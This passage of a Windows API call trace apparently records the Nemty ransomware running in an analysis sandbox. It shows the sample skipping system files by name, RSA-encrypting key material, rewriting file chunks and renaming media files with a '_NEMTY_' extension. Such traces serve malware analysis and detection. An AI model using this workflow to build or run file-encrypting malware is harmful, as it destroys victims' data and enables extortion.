returned 0 [0054.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0054.034] CloseHandle (hObject=0xffffffff) returned 0 [0054.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0054.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0054.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0054.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0054.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0054.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0054.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63440a0 [0054.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344158 [0054.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0054.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0054.035] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv._nemty_kgobjgd_")) returned 0 [0054.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0054.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0054.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0054.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0054.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0054.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0054.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0054.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0054.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0054.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.035] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2=".") returned 1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="..") returned 1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="...") returned 1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="windows") returned -1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="$RECYCLE.BIN") returned 1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="rsa") returned -1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="NTDETECT.COM") returned -1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="ntldr") returned -1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="MSDOS.SYS") returned -1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="IO.SYS") returned -1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="boot.ini") returned -1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="boot.ini") returned -1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="ntuser.dat") returned -1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="desktop.ini") returned -1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="CONFIG.SYS") returned -1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="RECYCLER") returned -1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="BOOTSECT.BAK") returned -1 [0054.035] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="bootmgr") returned -1 [0054.036] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="programdata") returned -1 [0054.036] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="appdata") returned 1 [0054.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0054.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0054.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0054.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 32 [0054.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0054.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94358 [0054.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0054.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0054.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 32 [0054.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0054.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0054.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0054.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0054.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0054.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0054.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 32 [0054.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0054.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0054.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0054.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0054.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToNotesBackground.wmv", lpUsedDefaultChar=0x0) returned 32 [0054.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0054.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94358 [0054.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0054.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0054.036] Sleep (dwMilliseconds=0x5) [0054.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd3dd4110, dwHighDateTime=0x1d561e7)) [0054.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd3dd4110, dwHighDateTime=0x1d561e7)) [0054.052] GetLastError () returned 0x5 [0054.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.053] GetLastError () returned 0x5 [0054.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0054.053] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0054.053] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0054.053] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0054.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0054.053] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="slW7+fLpIUPWbR+vH7IHMeyjqOPsaes0fmzD5Lqv+bw7prafUG03M6xKE9OBT1ve\r\nPczgKHFnKoHrJ2HsGTrpo+4fn3uBsX5V3z59CAubmr1Gem8v+PoGqo5WJhjKASl0\r\nKN07T83dbbaBK7XlDrEZTTirmzbnGAW5rRnTH5xHRNCBrL3xFez5Jein2RaX+qBA\r\nR9Eq4qzu5DV+4JB3MPts2WSxKxdcDV3Zf9EvEwnfYJZ4yjudyS2nNKQ0rBtkrwtd\r\n2md51amd1qa+mIXyyytVF8wM1ODC7WdzBXcpwa1d5uAkEqq62ZvdOMI3SHZ2KaZM\r\nkniGNrxtxU3n1h2E6gA61g==\r\n", pcchString=0x653e91c) returned 1 [0054.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340270 [0054.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0054.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0054.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0054.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0054.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403e8 [0054.053] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0054.053] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0054.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0054.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.054] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.063] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.072] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.091] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.091] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.109] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.109] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.128] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.137] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.137] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.147] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.147] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.153] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.153] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.158] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.159] WriteFile (in: hFile=0xffffffff, 